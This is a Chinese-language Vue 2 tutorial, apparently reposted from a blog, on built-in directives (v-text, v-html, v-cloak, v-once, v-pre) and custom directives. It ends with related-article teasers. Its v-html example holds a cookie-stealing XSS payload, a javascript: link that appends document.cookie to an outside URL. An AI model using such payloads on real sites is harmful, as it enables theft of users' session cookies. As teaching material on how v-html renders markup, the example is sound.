Vue(内置指令、自定义指令)

news2025/1/23 22:02:41

一、内置指令

1. v-text

和插值语法的效果类似

 <h2>{{name}}</h2>
 <h2 v-text="name">此处v-text绑定的数据替换所有标签内内容</h2>
//vue
  data: {
        name: "xlf",
      },

注意:不能识别标签数据

 <h2 v-text="name2">不会解析内容</h2>
//vue
  data: {
        name2: "<h3>你好</h3>",
      },

2.v-html :解决了v-text不能识别标签语言的缺陷

和插值语法的效果类似

 <div id="root">
      <h2>{{name}}</h2>
      <h2 v-html="name"></h2>
      <div v-html="name2">解析结构内容</div>
      <div v-html="str2"></div>
 </div>
//vue
 data: {
        name: "xlf",
        name2: "<h3>你好</h3>",
        str2: '<a href=javascript:location.href="http://www.baidu.com"+document.cookie>找到目标网址了</a>',
      },

 

3. v-clock

当vue引入在html和js脚本前面时候网络延迟会导致页面未解析就会出现在页面

第一种情况:vue引入在页面头部延迟会等待延迟之后再全部展示(js阻塞)

访问本地服务器比较快(没有延迟)

访问远程服务器比较慢(会有延迟)

同样可以通过chrome的开发者工具进行调整

 

 js阻塞:引入js插件,网页内容和脚本,然后插件有延时那么其他内容都不会展示

 

第二种情况:当vue引入在html-body最下面和脚本前面时候会出现

(先展示内容全部包含插值,当vue介入展示解析后的内容)

 

解决:上方脚本放在html-body下面先出现未解析问题

解决:指令语法:v-clock 配合css让延迟解析内容先不展示,当vue介入之后再展示并移除了v-clock

当网速过慢:禁止将未解析模板展示到页面

//css
  <style>
      [v-cloak] {
        display: none;
      }
   </style>
//html
 <div id="root">
      <h2 v-cloak>{{name}}</h2>
    </div>
//引入插件
  <script src="../vue/vue.js"></script>
//vue解析
<script>
    Vue.config.production = false;
    const vm = new Vue({
      el: "#root",
      data: {
        name: "xlf",
      },
    });
  </script>

4.v-once

v-once所在节点初次动态渲染之后就是静态内容了

后面数据改变不会引起 v-once在结构的更新,可以用于优化性能

 <div id="root">
      <h2 v-once>初始化的n值是{{n}}</h2>
      <h2>当前的n值是{{n}}</h2>
      <button @click="n++">点击+1</button>
</div>
//vue
 const vm = new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });

5.v-pre

跳过所在节点被编译,直接展示在页面中

可以利用此指令:跳过没有使用指令或插值语法的节点,加快编译

  <div id="root">
      <h2 v-pre>Vue很简单</h2>
      <h2 v-once v-pre>初始化的n值是{{n}}</h2>
      <h2>当前的n值是{{n}}</h2>
      <button @click="n++">点击+1</button>
  </div>
//vue
  const vm = new Vue({
      el: "#root",
      data: {
        n: 1,
      },
    });

 

二、自定义指令 :需要亲自操作DOM指令

引出:定义一个v-big指令,和v-text指令类似,但是会把绑定的数值放大10倍

使用配置项:directive

  • 函数式(真实dom元素,绑定)

  • 当指令元素绑定成功之后就会调用big指令函数

  • 指令所在模板被重新解析时候会重新调用(不论其他数据更改就会解析模板,这时候重新调用指令函数)

  <div id="root">
      <h2>当前的n值是:<span v-text="n"></span></h2>
      <!-- 注意此处不可以使用大写的命名和定义方式:使用-来拼接(当出现-拼接后就不可以使用对象名字简写模式) -->
      <h2>放大十倍的n值是:<span v-big="n"></span></h2>
 </div>
//vue
  data: {
        n: 1,
      },
  directives: {
        // big函数何时会被调用?、
        // 1.指令元素成功绑定时候;
        // 2. 指令所在模板被重新解析时候会重新调用
        big(element, binding) {
        // console.log(element, binding);
          element.innerText = binding.value * 10;
      }
}

 

 

定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点:f标识focus焦点意思(表示既绑定数据,并在页面渲染时候出现焦点获取功能)

  • 对象形式:一般是用在获取焦点或者获取父元素(可以理解为钩子函数

  • 焦点获取会在元素与指令绑定成功后而不是绑定立即生效(所以需要细分自定义指令的步骤划分:绑定时候、插入页面时候,更新时候

 <div id="root">
      <h2>放大十倍的n值是:<span v-big-number="n"></span></h2>
      <button @click="n++">点击+1</button>
      <hr />
      <input type="text" v-fbind:value="n" />
 </div>
//vue
 data: {
        n: 1,
      },
  directives: {
        // 注意自定义指令使用的名字也是对象字符串
       "big-number"(element, binding) {
          element.innerText = binding.value * 10;
          console.log("big", this);
          //注意此处的this属于(window:所有指令的this指向都是window)
        },
        // 对象写法:获取焦点,拿到父元素(理解为钩子)
        // 焦点获取时候会在元素与指令绑定成功后而不是绑定立即生效
        fbind: {
          // 绑定时候调用:可以写样式、value值等
          bind(element, binding) {
            element.value = binding.value;
            console.log("fbind-bind", this);
          },
          // 插入页面时候调用
          inserted(element, binding) {
            element.focus();
            console.log("fbind-inserted", this);
          },
          // 指令所在模板重新解析时候
          update(element, binding) {
            console.log("fbind-update", this);
            // 绑定元素value
            element.value = binding.value;
           // element.focus();
          },
        },
      },

 

 这里input内还可以在更新数据的时候获取焦点,那就是在updat中添加焦点获取方法,可以通过以上代码查看

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/468444.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

立体堆叠柱图的实现

立体堆叠柱图实现的实现 实现效果示例&#xff1a; 1、技术原理 1.1、技术分析 平面上的立体柱图可以看作是由4个平行四边形拼接而成的图形&#xff0c;分别是&#xff1a; 1、顶部菱形2和3、左右矩形&#xff0c;他们两个色值相同但亮度不同&#xff0c;从而产生立体阴影…

国内也能畅玩gptchat,游玩攻略分享

看到很多人都不知道怎么玩gptchat&#xff0c;小编就不能忍了&#xff0c;其实要玩chatgpt是非常的简单的&#xff0c;完全是能免费体验chatgpt的强大的。下面我们一起来了解一下国内也能畅玩gptchat&#xff0c;游玩攻略分享。 一.Chatgpt国内为啥能玩 其实现在很多的程序都接…

人人都能升薪?深扒Android开发中的通天神器Framework

近年来&#xff0c;客户端领域的竞争日益激烈&#xff0c;很多安卓开发者抱怨内卷现象普遍存在。在这种背景下&#xff0c;开发者们面对的压力越来越大&#xff0c;很难掌握足够的技能去顺利发展。解决内卷&#xff0c;突破迷茫&#xff0c;是许多开发者面临的挑战。小米的高管…

win 10电脑无法修改etc下文件的解决方法

不说废话&#xff0c;直接用etc下面的networks文件来举例子&#xff0c;当我想要修改该文件并重新保存的时候提示与管理员联系获得权限&#xff0c;解决方式如下&#xff1a; 首先&#xff0c;选中需要修改的networs文件&#xff0c;右键“属性”&#xff1b; 找到“安全”&…

3.软考——操作系统章节

操作系统章节 1.进程管理 银行家算法见博客 2.存储管理 1.页式存储 状态位为0的表示不在内存中&#xff0c;状态位为1的表示在内存中 如果不在内存中的要进入内存&#xff0c;需要去干掉再内存中的 原则&#xff1a; 1.一定是状态位位1的&#xff1b;然后再看访问位&#…

玩转smardaten | 探秘画布能力,搞定无代码复杂页面设计

下面这些是你印象中无代码能配置出的页面吗&#xff1f;“条条框框”、“一板一眼”的基础表单、列表、详情是无代码页面开发的全部吗&#xff1f; 当然不是&#xff01;花样排版与自由布局的展示页、交互丰富与多模块嵌套的首页&#xff0c;也是企业级软件页面中不可或缺的一部…

mybatis generator自定义model的代码注释

mbg相信大家都比较熟悉&#xff0c;可以自动化的生成数据库表对应的model&#xff0c;mapper。但是最近在使用mbg的时候遇到了这样的问题&#xff1a; 1、生成的model虽然可以根据数据库字段的comment生成注释&#xff0c;但这些注释仅对后端开发人员可见&#xff0c;如果想让前…

HNU-计算机系统-实验3-BombLab

写在前面 首先要感谢A橙_大佬&#xff0c;在之前的实验以及学习中&#xff0c;许多地方参考与学习了大佬的思路。 本次实验也是听取了A橙_大佬的建议&#xff0c;先自己做一遍&#xff0c;再看答案&#xff0c;有了更进一步的深入理解。 最后在验收的时候&#xff0c;发现验…

“豪”秀上演——莱佛士学生作品精彩亮相施华蔻发布会

4月12日&#xff0c;一场美轮美奂的视觉盛宴——施华蔻专业2023春夏新季风发布会&#xff0c;在广州珠江琶醍啤酒文化创意艺术区盛大举行。 ▲施华蔻专业2023春夏新季风发布会现场 当天发布会以《重组新生》为主题&#xff0c;施华蔻将潮流趋势、前沿发艺与先锋科技相结合&…

c++中set_difference这个函数的意义和用法

今天正好碰到了这个函数&#xff0c;虽然大概可以猜出这个函数的作用&#xff0c;但是仍然期待一个通俗易懂的解释&#xff0c;网上搜索了一下&#xff0c;搜到百度百科&#xff0c;感觉没有抓住重点&#xff0c;虽然示例也勉强可以理解&#xff0c;但是总感觉讲究不够直观。 …

【PLC】贝加莱PLC理论及实操年度培训

最近在进行PLC培训&#xff0c;主要是贝加莱PLC产品的学习&#xff0c;学习了上下位机的一些基本操作&#xff0c;能够进行一些简单的实践&#xff0c;最后顺利通过年度考核。 0 引言 PLC&#xff1a;可编程逻辑控制器&#xff0c;由CPU、存储器、输入输出接口、电影以及外部设…

冬奥会传统文化管理系统【GUI/Swing+MySQL】(Java课设)

系统类型 Swing窗口类型Mysql数据库存储数据 使用范围 适合作为Java课设&#xff01;&#xff01;&#xff01; 部署环境 jdk1.8Mysql8.0Idea或eclipsejdbc 运行效果 本系统源码地址&#xff1a;https://download.csdn.net/download/qq_50954361/87720226 更多系统资源库…

Access Token 访问令牌 的获取与使用

一、引用 三方库导入时&#xff0c;通常需要输入账号和令牌进行鉴权。账号为指定平台的 HTTP 克隆账号&#xff0c;访问令牌即 Access Token&#xff0c;本文介绍如何获取常见三方代码平台的Access Token。 Access Token 通常在代码平台的个人账号设置内进行管理和配置&#xf…

C++ 树进阶系列之探讨深度搜索算法查找环的细枝末节

1. 前言 对于基环树的讲解&#xff0c;分上、下 2 篇&#xff0c;上篇以理解连通分量、环以及使用深度搜索算法检查连通性和环为主&#xff0c;下篇以基于基环树结构的应用为主。 什么是基环树&#xff1f; 所谓基环树指由n个节点n条边所构建而成的连通图。 如下图所示&…

[Java 数据结构] 反射、枚举和lambda表达式

&#x1f389;&#x1f389;&#x1f389;点进来你就是我的人了 博主主页&#xff1a;&#x1f648;&#x1f648;&#x1f648;戳一戳,欢迎大佬指点!人生格言&#xff1a;当你的才华撑不起你的野心的时候,你就应该静下心来学习! 欢迎志同道合的朋友一起加油喔&#x1f9be;&am…

集成学习随机森林

集成学习 集成学习分为三类算法&#xff1a; 装袋法&#xff08;Bagging&#xff09;&#xff0c;提升法&#xff08;Boosting&#xff09;和融合stacking。 Bagging&#xff1a;核心思想是构建多个相互独立的评估器&#xff0c;然后对其预测进行平均或多数表决原则来决定集成…

极客星球|数据分析引擎黑马ClickHouse技术研究与实践

ClickHouse 在近几年是大数据分析引擎界的一匹黑马&#xff0c;从默默无闻到一路起飞&#xff0c;在 DB engine Rank 上进入前50名&#xff0c;成为全球数据引擎界耀眼的一颗明星。在全球范围内&#xff0c;ClickHouse 单表查询比其他引擎要快数倍以上&#xff0c;在过去的几年…

Vue+Echart实现利用率表盘效果【组件已封装,可直接使用】

效果演示 当利用超过70%&#xff08;可以自行设置&#xff09;&#xff0c;表盘变红 组件 里面对应两个图片资源&#xff0c;panelBackground_red.png 和 panelBackground_green.png&#xff0c;请前往百度网盘进行下载。如果喜欢其他颜色&#xff0c;可以使用.psd来修改导出…

redis从头开始【一】--面试的小伙伴必看

一 什么是NoSQL&#xff1f; Nosql not only sql&#xff08;不仅仅是SQL&#xff09; 关系型数据库&#xff1a;列行&#xff0c;同一个表下数据的结构是一样的。 非关系型数据库&#xff1a;数据存储没有固定的格式&#xff0c;并且可以进行横向扩展。 NoSQL泛指非关系型…

10.Yarn概述

如果说HDFS是存储&#xff0c;则Yarn就是cpu和内存&#xff0c;mapreduce就是程序。 1.基础架构 复习&#xff1a; 1.Container就是一个容器&#xff0c;其中封装了需要使用的内存与cpu 2.每当提交一个job,就会产生一个appMaster(总指挥),app Master负责其他container里面的…